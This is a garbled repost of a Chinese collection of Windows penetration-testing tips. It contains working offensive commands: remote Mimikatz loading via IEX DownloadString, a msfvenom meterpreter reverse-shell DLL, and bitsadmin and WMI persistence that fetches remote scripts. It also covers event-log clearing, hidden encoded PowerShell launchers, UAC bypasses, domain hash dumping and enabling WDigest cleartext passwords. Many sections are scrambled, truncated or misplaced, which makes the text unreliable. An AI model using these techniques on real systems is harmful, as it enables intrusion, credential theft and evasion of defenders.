Pentest-and-Development-Tips

转载

Wh0ale 于 2018-04-08 11:08:10 发布 1214 收藏 1
分类专栏： 网络攻防 安全技术 文章标签： Pentest


网络攻防 同时被 2 个专栏收录
15 篇文章 2 订阅
订阅专栏


安全技术
95 篇文章 9 订阅
订阅专栏

Pentest-and-Development-Tips

A collection of pentest and development tips

Author： 3gstudent

明以下技巧不应用于非法用途

Tips 1. 手动端口探测 《谈谈端口探测的经验与原理》

map的-sV可以探测出服务版本，但有些情况下必须手动探测去验证

用Wireshark获取响应包未免大材小用，可通过nc简单判断

g.

于8001端口，nc连接上去，随便输入一个字符串，得到了以下结果：

```
$ nc -vv localhost 8001
localhost [127.0.0.1] 8001 (?) open
asd
HTTP/1.1 400 Bad Request
Date: Fri, 25 Aug 2017 12:15:25 GMT
Server: Apache/2.4.23 (Debian)
Content-Length: 301
Connection: close
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.23 (Debian) Server at 127.0.0.1 Port 8001</address>
</body></html>
```

此我们知道了这是一个http服务，因为我们发送的字符串不是一个合法的HTTP请求，因此返回一个400 Bad requests，我们还得到了系统的版本是Debian，WebServer是Apache

考：

《渗透测试中的certu

《渗透技巧-Win日志的删除与绕过》

http Phar

Tips 2. Windows系统从Kali下载文件

Kali:

```
python -m SimpleHTTPServer 80
```

Windows:

```
certutil.exe -urlcache -split -f http://192.168.1.192/Client.exe 1.exe
certutil.exe -urlcache -split -f http://192.168.1.192/Client.exe delete
```

参考：

Tips 3. 配置工作组计算机,使其支持net use远程连接

C++:

https://github.com/3gstudent/Windwos-EventLog-Bypass

参考：

《渗透技巧-Windows日志的删除与绕过》

《利用API-NtQueryInformationThread和I_QueryTagInformation实现对Windwos日志监控的绕过》

加用户：

```
net user test test /add
net localgroup administrators test /add
```

改注册表，使其支持远程连接：

```
reg add hklm\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1
```

et use远程连接：

```
net use \\192.168.1.195 test /u:test
```

Tips 4. Windows日志清除

载工程：https://github.com/subTee Mimikatz

获取日志分类列表：

```
wevtutil el >1.txt
```

获取单个日志类别的统计信息：

eg.

```
wevtutil gli "windows powershell"
```

回显：

修改代码指定要隐藏的程序名cldr.exe，编译成cldr.dll，cldr放在 C:\Program

管理员权限：

```
creationTime: 2016-11-28T06:01:37.986Z
lastAccessTime: 2016-11-28T06:01:37.986Z
lastWriteTime: 2017-08-08T08:01:20.979Z
fileSize: 1118208
attributes: 32
numberOfLogRecords: 1228
oldestRecordNumber: 1
```

查看指定日志的具体内容：

```
wevtutil qe /f:text "windows powershell"
```

删除单个日志类别的所有信息：

```
wevtutil cl "windows powershell"
```

参考：

ips 5. 破坏Windows日志记录功能 通过调用TerminateThread结束实现日志功能的线程，使得日志记录功能失效，但Windows Event Log服务没有被破坏，状态仍为正在运行

Powershell:

ips 6. Win7和Windows Server 2008 R2下的进程隐藏 调用globalAPIhooks，通过修改注册表实现

参考：

《利用globalAPIhooks在Win7系统下隐藏进程》

---

ips 7. 同名exe和com文件执行顺序 https://github.com/3gstudent/Javascript-Backdoor/blob/master/JSRat.ps1

果一个路径下同时包含同名的exe和com文件，例如test.exe和test.com，通过命令行cmd输入test(不包含文件后缀名)，会优先运行com文件，即test.com

COM文件的生成只需要把exe文件的后缀名改为com即可

考：

《A dirty way of tricking users to bypass UAC》

---

ips 8. Windows系统证书生成与注册 书生成与签名：

```
makecert -n "CN=Microsoft Windows" -r -sv Root.pvk Root.cer
cert2spc Root.cer Root.spc
pvk2pfx -pvk Root.pvk -pi 12345678password -spc Root.spc -pfx Root.pfx -f
signtool sign /f Root.pfx /p 12345678password test.exe
```

执行后生成Root.cer、Root.pfx、Root.pvk、Root.spc四个文件，test.exe被加上数字签名

证书注册：

管理员权限cmd，将证书添加到localmachine：

```
certmgr.exe -add -c Root.cer -s -r localmachine root
```

参考：

《A dirty way of tricking users to bypass UAC》

---

st.hta：

```
<HTML>
<HEAD>
<script language="VBScript">
    Set WshShell = CreateObject("WScript.Shell")
    Connect="powershell -nop -windows hidden -E YwBhAGwAYwAuAGUAeABlAA=="
    WshShell.Run Connect, 4, true
</script>
<HTA:APPLICATION ID="test"
WINDOWSTATE = "minimize">
</HEAD>
<BODY>
</BODY>
</HTML>
```

考：

《Bypass McAfee Application Control——Code Execution》

Tips 9. hta执行vbs，加载powershell

Client:

```
rundll32.exe javascript:"
```

当然，该RAT工具还可通过以下方法加载：

vbs，js，e

参考：

《JavaScript Backdoor》

《JavaScript Phishing》

用NinjaCopy，https://github.com/3gstudent/NinjaCopy

导出hash：

使用quarkspwdump，https://github.com/quarkslab/qua

```
esentutl /p /o ntds.dit
QuarksPwDump.exe -dhb -hist -nt c:\test\ntds.dit
```

Tips 10. 通过c#编写dll & 通过rundll32.exe或者regsvr32加载dll

默认情况下，c#不可以声明导出函数，但可通过添加UnmanagedExports实现

当然，通过c#编写的dll，dll需要在对应版本的.NET环境才能正常运行，通过c++编写的dll更加通用

通过rundll32.exe或者regsvr32能够加载dll，但要求dll包含特定的导出函数

参考：

《Code Execution of Regsvr32.exe》

Tips 11. Windows下cpl文件介绍

本质上是DLL文件，后缀名为cpl，包含一个导出函数CPLApplet(c实现可不指定)

执行方法：

(1)双击直接运行

(2)cmd

```
reg add "
reg add "
reg add "
```

此时，任务管理器进程列表不存在cldr.exe，Pro Explorer不存在cldr.exe，Tas不存在cldr.exe

对于64位系统：

管理员权限：

```
reg
reg
reg
reg
reg
reg
```

https://
content,

适用条件：

Window
PowerSh
3.0 or
3.0+

.NET Framework 4.0 or 4.0+

参考：

《导出当前域内所有用户hash的技术整理》

```
rundll32 shell32.dll,Control_RunDLL test.cpl
```

(3)cmd

```
control test.cpl
```

(4)vbs

```
Dim obj
Set obj = CreateObject("Shell.Application")
obj.ControlPanelItem("test.cpl")
```

(5)js

```
var a = new ActiveXObject("Shell.Application");
a.ControlPanelItem("c:\\test\\test.cpl");
```

参考：

《CPL文件利用介绍》

ips 12. Windows下通过cmd调用rundll32执行一段代码弹回Shell

Server

Tips 13. 可通过内存dump还原出putty&pageant的密钥

Windows和Linux均适用

参考：

《Memory Dump利用实例》

ips 14. 针对Visual Studio的钓鱼利用

Visual C++：

- 修改.vcxproj文件

Visual Basic：

- 修改.vbproj文件

Visual F#：

- 修改.fsproj文件

使用Visual Studio对以上任一工程编译时，能够执行任意代码

参考：

《Pay close attention to your download code——Visual Studio trick to run code when building》

ips 15. 32位程序在64位Windows系统下执行的时候，如果有对注册表和文件的操作，存在重定

对注册表操作：

访问HKLM\Software\的实际路径为HKLM\Software\Wow6432Node\

对文件操作：

访问c:\windows\Sysnative\ 的实际路径为 c:\windows\system32
访问c:\windows\system32\ 的实际路径为 c:\windows\SysWOW64\

参考：

《关于32位程序在64位系统下运行中需要注意的重定向问题》

ips 16. 获取Windows域控所有用户hash

方法1复制ntds.dit;方法2使用powershell：DSInternals PowerShell Module

/indows Server 2012默认无法使用mimikatz导出明文口令，部分Windows Server 2008也一样

解决方法：启用Wdigest Auth

md:

```
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
```

r

owershell:

```
Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1
```

启或者用户再次登录，能够导出明文口令

考：

《域渗透——Dump Clear-Text Password after KB2871997 installed》

Tips 17. 导出Windows系统明文口令

参考：

《Use msdtc to maintain persistence》

《渗透技巧——Windows平台运行Masscan和Nmap》

https://gist.githubusercontent.com/subTee
katz.cs

将mimikatz封装到dll中，通过regsvr32传入参数运行mimkatz

```
rundll32 katz.dll,EntryPoint log coffee
```

参考：

《利用Powershell快速导出域控所有用户Hash》

https://github.com/FuzzySe
Suite/blob/master/Get-Exports.ps1

```
Get-Exports -DllPath c:\
```

参考：

《Study Notes Weekly No.3(Use odbcconf to load dll & Get-Exports & ETW USB Keylogger)》

《渗透技巧——快捷方式文件的参数隐藏技巧》

https://github.com/3gstud

参考：

《32位程序对64位进程的远程注入实现》

码下载地址：
https://github.com/3gstudent/From-System-authority-to-Medium-authority/blob/master/Processauthority.cp

参考：

《渗透技巧——程序的降权启动》

降权方法2：使用msdtc

使用msdtc会以system权限加载oci.dll，但在管理员权限cmd执行：

《CodeExecution of Regsvr32.exe》

ips 18. 可通过Hook PasswordChangeNotify实时记录域控管理员的新密码

当然，可选择保存在本地或是将密码上传至服务器

参考：

《域渗透——Hook PasswordChangeNotify》

https://github.com/3gstudent/msbuild-inline-task/blob/master/executes%20mimikatz.xml

ips 19. 在域渗透时要记得留意域内主机的本地管理员账号

如果管理员疏忽，域内主机使用相同的本地管理员账号，可以通过pass-the-hash远程登录域内其他主机

参考：

《域渗透——Local Administrator Password Solution》

cmd：

```
C:\Window
```

参考：

《Use MSBuild To Do More》

ips 20. 通过powershell获取dll的导出函数

ips 21. 快捷方式的参数隐藏技巧

将payload放置在260个空字符之后，这样无法在文件属性查看payload，可以用来在快捷方式中隐藏payload，欺骗用户点击，隐蔽执行代码

参考：

ips 22. 32位程序能够对64位进程进行远程注入POC

Tips 23. system权限的进程在某些情况下需要进行降权

《Study Notes Weekly No.4(Use tracker to load dll & Use csi to bypass UMCI & Execute C# from XSLT file)》

使用sytem权限的进程可能会遇到以下问题：

1.无法获得当前用户的文件内容

例如无法捕获用户的屏幕

2.环境变量有差异

因此需要降权到当前用户

降权方法1：使用SelectMyParent.exe

https://gist.github

https://gist.github

参考：

《利用白名单绕过.Net程序》

ips 24. 通过命令行能够对Windows系统安装WinPcap，这样就可以在Windows跳板上使用nmap和Masscan

参考：

Tips 25. Windows平台执行mimikatz的方法

方法1：通过powershell

```
powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz
```

方法2：通过InstallUtil.exe

```
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:PELoader.exe PELoader.cs
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PELoader.exe
```

参考：

《利用白名单绕过360实例》

《利用白名单绕过限制的更多测试》

方法3：通过regsvr32.exe

下载xml文件，保存为a.xml：

方法4：通过msbuild.exe

方法5：通过csi.exe

方法6：通过js/vbs脚本

存储：

```
"C:\Program Files (x86)\MSBuild\14.0\Bin\csi.exe" c:\test\katz.csx
```

参考：

Tips 26. Windows系统中可供存储和读取payload的位置

方法1：WMI

```
$StaticClass = New-Object Management.ManagementClass('root\cimv2', $null,$null)
$StaticClass.Name = 'Win32_Command'
$StaticClass.Put()
$StaticClass.Properties.Add('Command' , $Payload)
$StaticClass.Put()
```

读取：

```
$Payload=([WmiClass] 'Win32_Command').Properties['Command'].Value
```

参考：

《WMI Backdoor》

方法2：包含数字签名的PE文件

利用文件hash的算法缺陷，向PE文件中隐藏Payload，同时不影响该PE文件的数字签名

参考：

方法3：特殊ADS

(1)...

```
type putty.exe > ...:putty.exe
wmic process call create c:\test\ads\...:putty.exe
```

(2)特殊COM文件

```
type putty.exe > \\.\C:\test\ads\COM1:putty.exe
wmic process call create \\.\C:\test\ads\COM1:putty.exe
```

(3)磁盘根目录

```
type putty.exe >C:\:putty.exe
wmic process call create C:\:putty.exe
```

参考：

《Hidden Alternative Data Streams的进阶利用技巧》

《Study Notes Weekly No.1(Monitor WMI & ExportsToC++ & Use DiskCleanup bypass UAC)》

码见

https://raw.githubusercc

生成dll，重命名为cpl，双击执行

https://raw.githubusercc Execution-and-Process-Injection/master/2-CodeExecution-Meterpreter.ps1

ips 27. Windows系统中值得搜集的信息

(1)已注册的WMI信

```
wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter GET __RELPATH /FORMAT:list
wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer GET __RELPATH /FORMAT:list
wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding GET __RELPATH /FORMAT:list
```

管理员也许会使用WMI记录攻击者调用WMI的操作，可通过wmic查看，当然通过wmic也能关闭该监控功能

参考：

《Study Notes Weekly No.3(Use odbcconf to load dll & Get-Exports & ETW USB Keylogger)》

ips 28. Windows系统反弹meterpreter的常用方法

方法1：通过rundll32加载dll反弹meterpreter

msf：

```
msfvenom -p windows/meterpreter/reverse_http -f dll LHOST=192.168.174.133 LPORT=8080>./a.dll
```

生成a.dll,然后上传至测试主机

执行 `rundll32.exe a.dll,Control_RunDLL` ，即可上线

方法2：通过cpl反弹meterpreter 方法3：通过powershell反弹meterpreter

Tips 29. Windows系统加载dll的方法

方法1：rundll

```
rundll32 a.dll,EntryPoint
```

方法2：regsvr32

《Study Notes Weekly No.4(Use tracker to load dll & Use csi to bypass UMCI & Execute C# from XSLT file)》

方法3：odbcco

```
regsvr32 a.dll
```

方法4：Track

```
odbcconf.exe /a {regsvr c:\test\odbcconf.dll}
```

```
Tracker.exe /d test.dll /c svchost.exe
```

考：

参考：

tracker.exe包含微软数字签名，可绕过应用程序白名单的限制

参考：

《Use Excel.Applic object's RegisterXLL method to load dll》

《Code Execution of Regsvr32.exe》

法5：Excel.Application object's RegisterXLL() method

提：已安装Microsoft Office软件

.rundll32

方法6：xwizard.exe

《U xwi to loa dll》

```
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";x=new%20ActiveXObject('Excel.Application');x.RegisterXLL('C:\\test\\messagebox.dll');this.close();
```

.js

```
var excel = new ActiveXObject("Excel.Application");
excel.RegisterXLL("C:\\test\\messagebox.dll");
```

.powershell

```
$excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application"))
$excel.RegisterXLL("C:\test\messagebox.dll")
```

《Study Notes of WMI Persistence using wmic.exe》

《Userland registry hijacking》

《Netsh persistence》

考：

制%windir%\system32\下的xwizard.exe至新目录C:\x

msg.dll重命名为xwizards.dll，保存在C:\x

令行执行：

```
xwizard processXMLFile 1.txt
```

功加载C:\x\xwizards.dll

考：

Tips 30. Windows Persistence

方法1：bitsadmin

《渗透测试中的Application Compatibility Shims》

《DLL劫持漏洞自动化识别工具Rattler测试》

《渗透测试中的Application Verifier(DoubleAgent利用介绍)》

《Use Waitfor.exe to maintain persistence》

《Use AppDomainManager to maintain persistence》

C： https://github.com/3gstudent/Office-Persistence

方法2：mof

参考：

《Use Office to maintain persistence》

《Office Persistence on x64 operating system》

C: https://github.com/3gstu Injection

```
bitsadmin /create backdoor
bitsadmin /addfile backdoor %comspec%  %temp%\cmd.exe
bitsadmin.exe /SetNotifyCmdLine backdoor regsvr32.exe "/u /s /i:https://raw.githubusercontent.com/3gstudent/SCTPersistence/master/calc.sct scrobj.dll"
bitsadmin /Resume backdoor
```

考：

《Use bitsadmin to maintain persistence and bypass Autoruns》

方法3：wmi

```
pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
    EventNamespace = "Root\\Cimv2";
    Name  = "filtP1";
    Query = "Select * From __InstanceModificationEvent "
            "Where TargetInstance Isa \"Win32_LocalTime\" "
            "And TargetInstance.Second = 1";
    QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
    Name = "consP1";
    ScriptingEngine = "JScript";
    ScriptText = "GetObject(\"script:https://raw.githubusercontent.com/3gstudent/Javascript-Backdoor/master/test\")";
};
instance of __FilterToConsumerBinding
{
    Consumer   = $Consumer;
    Filter = $EventFilter;
};
```

参考：

《Use CLR to maintain persistence》

《Use msdtc to maintain persistence》

C： https://github.com/3gstudent/COM-Object-hijacking

参考：

《Use COM Object hijacking to maintain persistence——Hijack CAccPropServicesClass and MMDeviceEnumerator》

《Use COM Object hijacking to maintain persistence——Hijack explorer.exe》

《利用BDF向DLL文件植入后门》

理员权限：

```
mofcomp test.mof
```

考：

《WSC、JSRAT and WMI Backdoor》

隔60秒执行一次notepad.exe

```
wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="BotFilter82", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEve
wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="BotConsumer23", ExecutablePath="C:\Windows\System32\notepad.exe",CommandLineTemplate="C:\Windows\S
wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"BotFilter82\"", Consumer="CommandLineEventConsumer.Name=\"BotConsumer23\""
```

考：

法4：Userland Persistence With Scheduled Tasks

劫持计划任务UserTask，在系统启动时加载testmsg.dll

操作如下：

在HKEY_CURRENT_USER\Software\Classes\CLSID\下新建项{58fb76b9-ac85-4e55-ac04-427593b1d060}

接着新建项InprocServer32

值设定为`c:\test\testmsg.dll`

testmsg.dll包含如下导出函数：

DllCanUnloadNow DllGetClassObject DllRegisterServer DllUnregisterServer

等待用户重新登录

参考：

《渗透技巧——"隐藏"注册表的创建》

《渗透技巧——"隐藏"注册表的更多测试》

https://rastamouse.me/2018/03/a-view-of-persistence/

https://github.com/3gstudent/UAC-Bypass/blob/master/Invoke-EventVwrBypass.ps1

方法5：Netsh 参考：

《Study Notes of WMI Persistence using wmic.exe》

《Userland registry hijacking》

《Study Notes of using sdclt.exe to bypass UAC》

《Study Notes of using SilentCleanup to bypass UAC》

https://github.com/EmpireProj
WScriptBypassUAC.ps1

elper DLL需要包含导出函数InitHelperDll

方法6：Shim 常用方式：

- InjectDll
- RedirectShortcut
- RedirectEXE

方法7：dll劫持 通过Rattler自动枚举进程，检测是否存在可用dll劫持利用的进程

参考：

参考：

理员权限：

```
netsh add helper c:\test\netshtest.dll
```

elper dll添加成功后，每次调用netsh，均会加载c:\test\netshtest.dll

考：

方法8：DoubleAgent 编写自定义Verifier provider DLL

通过Application Verifier进行安装

注入到目标进程执行payload

每当目标进程启动，均会执行payload，相当于一个自启动的方式

参考：

法9：waitfor.exe 不支持自启动，但可远程主动激活，后台进程显示为waitfor.exe

参考：

https://msitpros.com/?p=3960

方法10：AppDomainManager

对.Net程序，通过修改AppDomainManager能够劫持.Net程序的启动过程。 如果劫持了系统常见.Net程序如powershell.exe的启动过程，向其添加payload，就能实现一种被动的后门触发机制

考：

法11：Office加载项 如果系统已安装office软件，可通过配置Office加载项实现劫持，作为被动后门

常用利用方式：

Word WLL

Excel XLL

Excel VBA add-ins

PowerPoint VBA add-ins

方法12：CLR 无需管理员权限的后门，并能够劫持所有.Net程序

利用MSDTC服务加载dll，实现自启动，并绕过Autoruns对启动项的检测

参考：

《Use CLR to bypass UAC》

方法13：msdtc 适用于Win7

方法14：Hijack CAccPropServicesClass and MMDeviceEnumerator 《Use CLR to bypass UAC》
不需要重启系统，不需要管理员权限

通过修改注册表实现

方法15：Hijack explorer.exe
不需要重启系统，不需要管理员权限

通过修改注册表实现

参考：

https://github.c

法16：Windows FAX DLL Injection 通过DLL劫持，劫持Explorer.exe对fxsst.dll的加载

Explorer.exe在启动时会加载`c:\Windows\System32\fxsst.dll`(服务默认开启，用于传真服务)

将payload.dll保存在c:\Windows\fxsst.dll，能够实现dll劫持，劫持Explorer.exe对fxsst.dll的加载

方法17：劫持Office软件的特定功能
通过dll劫持,在Office软件执行特定功能时触发后门

参考:

当然，也可以修改LaZagne源码实现对其他应用的密码导出

注册表启动项创建特殊名称的注册表键值，用户正常情况下无法读取(使用Win32 API)，但系统能够执行(使用Native API)

方法18：特殊注册表键值

方法19：powershell配置文件 参考：

《本地密码查看工具LaZagne中的自定义脚本开发》

考：

改powershell配置文件，后门在powershell进程启动后触发

看是否使用配置文件：

```
Test-Path $profile
```

建配置文件：

```
New-Item -Path $profile -Type File –Force
```

Tips 31. UAC绕过

方法1：use eventvwr.exe and registry hijacking
适用：Win7，Win8.1，Win 10

方法2：use sdclt.exe
适用Win10 《Study Notes of using BGInfo to bypass Applicatio Whitelistin

参考：

方法3：use SilentCleanup

https://github.com/danielbohannon/Invoke-Obfuscation

修改配置文件内容，添加后门：

```
$string = 'Start-Process "cmd.exe"'
$string | Out-File -FilePath "C:\Users\a\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1" -Append
```

rom:

适用Win8,Win10

```
reg add hkcu\Environment /v windir /d "cmd /K reg delete hkcu\Environment /v windir /f && REM "
schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I
```

考：

法6：修改注册表HKCU\Software\Classes\CLSID，劫持高权限程序

适用Win7-Win10

- {B29D466A-857D-35BA-8712-A758861BFEA1}
- {D5AB5662-131D-453D-88C8-9BBA87502ADE}
- {0A29FF9E-7F9C-4437-8B11-F424491E3931}
- {CB2F6723-AB3A-11D2-9C40-00C04FA30A3E}

参考：

ips 32. Visual Studio生成的exe或是dll在其他系统使用，提示缺少相关DLL文件解放方法：

将程序打包发布

项目菜单->项目属性，C/C++->代码生成->运行库，选择多线程 (/MT)

ips 33. 使用LaZagne导出当前系统中常见应用存储的密码可以使用LaZagne导出当前系统中常见应用存储的密码（例如浏览器、Wifi、Git、Outlook等）

ips 34. 使用powershell读写文件读文本文件：

```
$file = Get-Content "1.txt"
```

写文本文件：

```
Set-content "1.txt"
```

读二进制文件：

```
[System.IO.File]::ReadAllBytes('1.exe')
```

写二进制文件：

```
[System.IO.File]::WriteAllBytes("1.exe",$fileContentBytes)
```

ips 36 如果powershell脚本被查杀，可以尝试使用Invoke-Obfuscation进行混淆

eg.

设置要混淆的代码：

```
set scriptblock " Invoke-111111 -Command "log privilege::debug
```

输入 `encoding`，选择1，指定编码为ascii

得到混淆后的代码：

```
" $(SEt-iTem  'VARIaBle:OFS'
```

《本地密码查看工具LaZagne中的自定义脚本开发》

Tips 35. powershell作base64编码/解码

编码：

```
$encoded = [System.Convert]::ToBase64String($fileContent)
```

解码：

```
$fileContent = [System.Convert]::FromBase64String($encoded)
```

参考：

《渗透技巧——Windows系统远程桌面的多用户登录》

ips 37 python脚本转exe常见的两种方法：

- 使用py2exe
- 使用PyInstaller

使用方法和常见bug解决方法可参照参考链接

参考：

ips 38 普通用户权限向管理员权限的路径下写文件eg.

以普通用户权限向 `c:\windows` 文件夹下释放文件

```
makecab c:\test\test.exe %TMP%\1.tmp
wusa %TMP%\1.tmp /extract:"c:\windows" /quiet
```

适用于Win7、Win8，学习自：

Tips 39 在远程系统上执行程序的方法汇总

常用方法：

- at
- psexec
- WMIC
- wmiexec
- smbexec
- powershell remoting

新方法：

- DCOM

参考:

ips 40 寻找Windows系统中可被利用的服务

(举Windows系统服务对应可执行文件的路径，如果路径包含普通用户的写权限，那么该服务可被用来提升权限

owershell代码:

方法4：use wscript.exe 适用于Win7

方法5：use cmstp.exe

方法5：修改环境变量，劫持高权限.Net程序

适用Win7-Win10

如gpedit.msc

修改环境变量，利用CLR劫持gpedit.msc的启动过程

参考：

https://github.com/E
WScriptBypassUAC.p

参考：

《Empire中的Invoke-WScriptBypassUAC利用分析》

《域渗透——利用DCOM在远程系统执行程序》

《Use powershell to find a writable windows service》

《Use Logon Scripts to maintain persistence》

渗透技巧——Token窃取与利用

《域渗透——利用DCOM在远程系统执行程序》

《Authenticode签名伪造——PE文件的签名伪造与签名验证劫持》

```
$ErrorActionPreference="SilentlyContinue"
$out = (Get-WmiObject win32_service | select PathName)
$out|% {[array]$global:path += $_.PathName}
for($i=0;$i -le $out.Count-1;$i++)
{
    $a=Get-Acl -Path $out[$i].PathName.ToUpper().Substring($out[$i].PathName.ToUpper().IndexOfAny("C"),$out[$i].PathName.ToUpper().LastIndexOfAny("\"))
  If($a.Owner -ne "NT AUTHORITY\SYSTEM"){
  If($a.Owner -ne "NT SERVICE\TrustedInstaller"){
   If($a.Owner -ne "BUILTIN\Administrators"){
    Get-WmiObject win32_service | ?{$_.PathName -like $out[$i].PathName}|select Name,PathName,ProcessId,StartMode,State,Status
    Write-host Owner: $a.Owner
   }
  }
    }
}
Write-host [+] All done.
```

考：

ips 41 利用杀毒软件的配置错误实现自启动并优先于杀毒软件执行

/indows系统支持Logon Scripts，Logon Scripts是在系统启动时执行，执行顺序要优先于杀毒软件，当然，杀毒软件无法拦截Logon Scripts中脚本的操作（杀毒软件尚未启动）

键在于杀毒软件会不会拦截Logon Scripts的配置使用

用特殊操作添加Logon Scripts，杀毒软件不会拦截

：

上提到的杀毒软件是指"部分"杀毒软件，并不通用

考：

ips 42 编译c#程序注意事项

用Visual Studio：

目名要同namespace指定的名称对应，如果不对应，可在项目-属性-程序集名称中修改，否则生成的dll无法使用

用csc.exe:

g.

```
using System;
using System.Diagnostics;

namespace TestDotNet
{
   public class Class1
   {
      static Class1()
      {
         Process.Start("cmd.exe");
         Environment.Exit(0);
      }
   }
}
```

存为TestDotNet.cs，直接使用csc.exe生成就好：

```
:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:library TestDotNet.cs
```

果保存为a.cs，那么需要加/out参数指定输出文件为TestDotNet.dll，这样程序集名称也默认为TestDotNet（同源代码对应），否则，dll虽然能够被加载，但无法执行，参数如下：

```
:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:library /out:TestDotNet.dll a.cs
```

ips 43 使用net use远程连接的端口问题

使用net use远程连接，目标如果开启了NetBIOS over TCP/IP，那么：

1. 目标同时开放139和445端口，系统优先使用445端口连接
2. 目标禁用445端口，可使用139端口连接

目标如果禁用了NetBIOS over TCP/IP，那么：

1. 目标禁用445端口，无法连接

Tips 44 获得TrustedInstaller权限

启动服务TrustedInstaller,通过Token复制来获得TrustedInstaller权限

常用方法：

- SelectMyParent
- Invoke-TokenManipulation.ps1
- incognito

参考：

ips 45 3389远程连接

查询系统是否允许3389远程连接：

```
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
```

1表示关闭，0表示开启

查看远程连接的端口：

```
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber
```

、本机开启3389远程连接的方法

方法1：通过cmd

```
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f
```

方法2：通过reg文件

内容如下：

《Authenticode签名伪造——PE文件的签名伪造与签名验证劫持》

《Authenticode签名伪造——针对文件类型的签名伪造》

《Catalog签名伪造——Long UNC文件名欺骗》

《通过APC实现Dll注入——绕过Sysmon监控》

《傀儡进程的实现与检测》

《Pro Dopp 利用介绍》

《域渗透——利用SYSV 还原组策略中保存的密码》

《13 中的权限漏洞测试

ht ha be th wi lo sc

Po 脚本实现

https://g

https the-user-idle-time-with-C

```
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]
"fDenyTSConnections"=dword:00000000
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]
"PortNumber"=dword:00000d3d
```

导入注册表：

```
regedit /s a.reg
```

注：

修改连接端口重启后生效

补充

如果系统未配置过远程桌面服务，第一次开启时还需要添加防火墙规则，允许3389端口，命令如下:

```
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
```

、远程连接方法

kali使用3389远程连接：

```
rdesktop 192.168.1.1:3389
```

Windows：

```
mstsc.exe
```

非服务器版本的Windows系统，默认只允许一个账户登录

具体表现为：

远程登录时，使用与原系统相同的账户，原系统将被切换到登录界面

使用不同的账户，原系统桌面将弹框提示是否断开当前连接(30秒后默认选择同意)

解决方法：

使用mimikatz.exe,执行 `ts::multirdp` 允许多用户远程登录

能够实现不同帐户远程登录不冲突,原系统桌面不会弹框提示

当然，使用与原系统相同的账户，原系统还是会被切换到登录界面

注：

该方法在系统重启后失效，下次使用需要重新执行命令 `ts::multirdp`

也可通过修改文件termsrv.dll实现永久修改

参考：

程系统需要 `允许Windows防火墙远程管理` ,开启命令如下：

etsh advfirewall set currentprofile settings remotemanagement enable

g.

```
netsh -r 192.168.0.2 -u TEST\administrator -p domain123! advfirewall firewall add rule name="any" protocol=TCP dir=in localport=any action=allow
```

考:

弹出UAC提示框的时候，执行任意代码,可通过修改注册表劫持签名验证的功能，插入payload

考：

造Long UNC文件名，实现文件名欺骗，获得Catalog签名

考：

Tips 46 使用netsh修改远程系统的防火墙规则

Tips 47 劫持UAC

Tips 48 PE文件的Authenticode签名伪造

通过修改注册表，能够给PE文件添加微软证书

Tips 49 PE文件的Catalog签名伪造

参考：

Tips 50 mklink

对于创建符号链接，可理解为快捷方式

创建目录c:\test\1，指向c:\temp，可使用以下操作：

(1) 使用/D参数命令创建一个链接：

mklink /D "c:\test\1" "c:\Temp"

(2) 使用/J参数命令创建一个联接：

mklink /J "c:\test\1" "c:\Temp"

差异：

使用/D参数创建的链接，文件属性多了"快捷方式"

使用/J不需要管理员权限

使用/D需要管理员权限

应用：

更改释放文件的路径

Tips 51 powershell在执行脚本时传入参数

powe
脚本
实
现：

https

https

https
f690-
4f6b-
a586-
11ee
Scree

https://github.com/3gstudent/ListInstalledPrograms

《渗透技巧——导出Chrome浏览器中保存的密码》

《渗透技巧——利用Masterkey离线导出Chrome浏览器中保存的密码》

《域渗透——获得域控服务器的NTDS.dit文件》

